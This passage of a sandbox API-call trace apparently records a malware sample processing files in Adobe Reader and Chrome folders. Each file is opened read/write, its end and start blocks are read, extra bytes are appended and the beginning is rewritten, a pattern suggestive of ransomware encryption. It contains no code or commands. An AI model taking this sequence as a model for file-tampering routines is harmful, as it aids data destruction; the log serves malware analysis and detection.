lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0046.201] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x3857 [0046.201] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0046.201] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.201] ReleaseMutex (hMutex=0x128) returned 1 [0046.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ROMAN.TXT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ROMAN.TXT", cchWideChar=9, lpMultiByteStr=0x1e6306c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ROMAN.TXT", lpUsedDefaultChar=0x0) returned 9 [0046.201] ReadFile (in: hFile=0x1b0, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.583] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x2857 [0046.583] ReadFile (in: hFile=0x1b0, lpBuffer=0x1db0438, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1db0438*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.699] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x2857 [0046.699] WriteFile (in: hFile=0x1b0, lpBuffer=0x1db0438*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0438*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.699] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0046.699] WriteFile (in: hFile=0x1b0, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.700] CloseHandle (hObject=0x1b0) returned 1 [0046.820] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1254.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0046.820] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0046.820] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x25ac [0046.820] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0046.820] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.820] ReleaseMutex (hMutex=0x128) returned 1 [0046.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CP1254.TXT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0046.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CP1254.TXT", cchWideChar=10, lpMultiByteStr=0x1e6316c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CP1254.TXT", lpUsedDefaultChar=0x0) returned 10 [0046.821] ReadFile (in: hFile=0x1d4, lpBuffer=0x2617338, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2617338*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.827] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x15ac [0046.827] ReadFile (in: hFile=0x1d4, lpBuffer=0x2617338, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2617338*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.850] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x15ac [0046.850] WriteFile (in: hFile=0x1d4, lpBuffer=0x2616708*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2616708*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.850] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0046.850] WriteFile (in: hFile=0x1d4, lpBuffer=0x261c3c8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x261c3c8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.850] CloseHandle (hObject=0x1d4) returned 1 [0046.850] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1027.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1027.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0046.851] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1027.mst", nBufferLength=0x104, lpBuffer=0x2a0f694, lpFilePart=0x2a0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1027.mst", lpFilePart=0x2a0f690*="1027.mst") returned 0x64 [0046.851] GetLastError () returned 0x5 [0046.851] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2a0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʠ폈Hʠ퐔HʠLʠ꣐Ǧ\x01") returned 0x13 [0046.851] LocalFree (hMem=0x70b5a8) returned 0x0 [0046.851] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2a0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0046.851] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2a0f894) [0046.851] RtlUnwind (TargetFrame=0x2a0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0046.851] RtlUnwind (TargetFrame=0x2a0f920, TargetIp=0x407184, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0046.851] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1027.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1027.mst")) returned 0x21 [0046.851] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1040.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1040.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0046.851] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1040.mst", nBufferLength=0x104, lpBuffer=0x2a0f694, lpFilePart=0x2a0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1040.mst", lpFilePart=0x2a0f690*="1040.mst") returned 0x64 [0046.852] GetLastError () returned 0x5 [0046.852] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2a0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʠ폈Hʠ퐔HʠLʠ꣐Ǧ\x01") returned 0x13 [0046.852] LocalFree (hMem=0x70b5a8) returned 0x0 [0046.852] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2a0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0046.852] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2a0f894) [0046.852] RtlUnwind (TargetFrame=0x2a0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0046.852] RtlUnwind (TargetFrame=0x2a0f920, TargetIp=0x407184, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0046.852] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1040.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1040.mst")) returned 0x21 [0046.852] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1051.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1051.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0046.852] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1051.mst", nBufferLength=0x104, lpBuffer=0x2a0f694, lpFilePart=0x2a0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1051.mst", lpFilePart=0x2a0f690*="1051.mst") returned 0x64 [0046.852] GetLastError () returned 0x5 [0046.852] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2a0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʠ폈Hʠ퐔HʠLʠ꣐Ǧ\x01") returned 0x13 [0046.852] LocalFree (hMem=0x70b5a8) returned 0x0 [0046.852] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2a0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0046.852] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2a0f894) [0046.853] RtlUnwind (TargetFrame=0x2a0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0046.853] RtlUnwind (TargetFrame=0x2a0f920, TargetIp=0x407184, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0046.853] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1051.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1051.mst")) returned 0x21 [0046.854] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\Setup.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0046.854] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\Setup.exe", nBufferLength=0x104, lpBuffer=0x2a0f694, lpFilePart=0x2a0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\Setup.exe", lpFilePart=0x2a0f690*="Setup.exe") returned 0x65 [0046.854] GetLastError () returned 0x5 [0046.854] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2a0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʠ폈Hʠ퐔HʠLʠ꣐Ǧ\x01") returned 0x13 [0046.854] LocalFree (hMem=0x70b5a8) returned 0x0 [0046.854] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2a0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0046.854] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2a0f894) [0046.854] RtlUnwind (TargetFrame=0x2a0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0046.854] RtlUnwind (TargetFrame=0x2a0f920, TargetIp=0x407184, ExceptionRecord=0x2a0f378, ReturnValue=0x0) [0046.854] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\Setup.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\setup.exe")) returned 0x21 [0046.854] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_200_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome_200_percent.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0046.855] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0046.855] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xb0b82 [0046.855] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0046.855] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.855] ReleaseMutex (hMutex=0x128) returned 1 [0046.855] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chrome_200_percent.pak", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0046.855] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chrome_200_percent.pak", cchWideChar=22, lpMultiByteStr=0x1e789ec, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="chrome_200_percent.pak", lpUsedDefaultChar=0x0) returned 22 [0046.855] ReadFile (in: hFile=0x1d4, lpBuffer=0x27f6cf8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27f6cf8*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0046.876] ReadFile (in: hFile=0x1d4, lpBuffer=0x27f6cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27f6cf8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.918] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xafb82 [0046.918] ReadFile (in: hFile=0x1d4, lpBuffer=0x1de2c18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de2c18*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.934] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xafb82 [0046.934] WriteFile (in: hFile=0x1d4, lpBuffer=0x3a49558*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a49558*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.935] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0046.935] WriteFile (in: hFile=0x1d4, lpBuffer=0x1de1de8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de1de8*, lpNumberOfBytesWritten=0x2a0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0046.935] WriteFile (in: hFile=0x1d4, lpBuffer=0x1de1de8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de1de8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.935] CloseHandle (hObject=0x1d4) returned 1 [0046.936] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\setup.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\installer\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0046.936] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0046.936] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1a3f58 [0046.936] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0046.936] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.936] ReleaseMutex (hMutex=0x128) returned 1 [0046.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.exe", cchWideChar=9, lpMultiByteStr=0x1e6340c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup.exe", lpUsedDefaultChar=0x0) returned 9 [0046.936] ReadFile (in: hFile=0x1d4, lpBuffer=0x1de1de8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de1de8*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0047.248] ReadFile (in: hFile=0x1d4, lpBuffer=0x1de1de8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de1de8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.409] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1a2f58 [0047.410] ReadFile (in: hFile=0x1d4, lpBuffer=0x3a4d588, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x3a4d588*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.436] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1a2f58 [0047.436] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dac408*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dac408*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.436] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0047.437] WriteFile (in: hFile=0x1d4, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x2a0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0047.437] WriteFile (in: hFile=0x1d4, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0047.437] CloseHandle (hObject=0x1d4) returned 1 [0047.437] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\en-GB.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\en-gb.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0047.437] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0047.437] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x4244f [0047.438] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0047.438] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.438] ReleaseMutex (hMutex=0x128) returned 1 [0047.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-GB.pak", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-GB.pak", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-GB.pak", lpUsedDefaultChar=0x0) returned 9 [0047.438] ReadFile (in: hFile=0x1d4, lpBuffer=0x3a46558, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x3a46558*, lpNumberOfBytesRead=0x2a0f278*=0x8000, lpOverlapped=0x0) returned 1 [0047.452] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x4144f [0047.452] ReadFile (in: hFile=0x1d4, lpBuffer=0x261b6a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x261b6a8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.458] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x4144f [0047.458] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da83d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da83d8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.458] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0047.458] WriteFile (in: hFile=0x1d4, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x2a0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0047.459] CloseHandle (hObject=0x1d4) returned 1 [0047.459] CreateFileW (lpFileName="C:\\Program Files 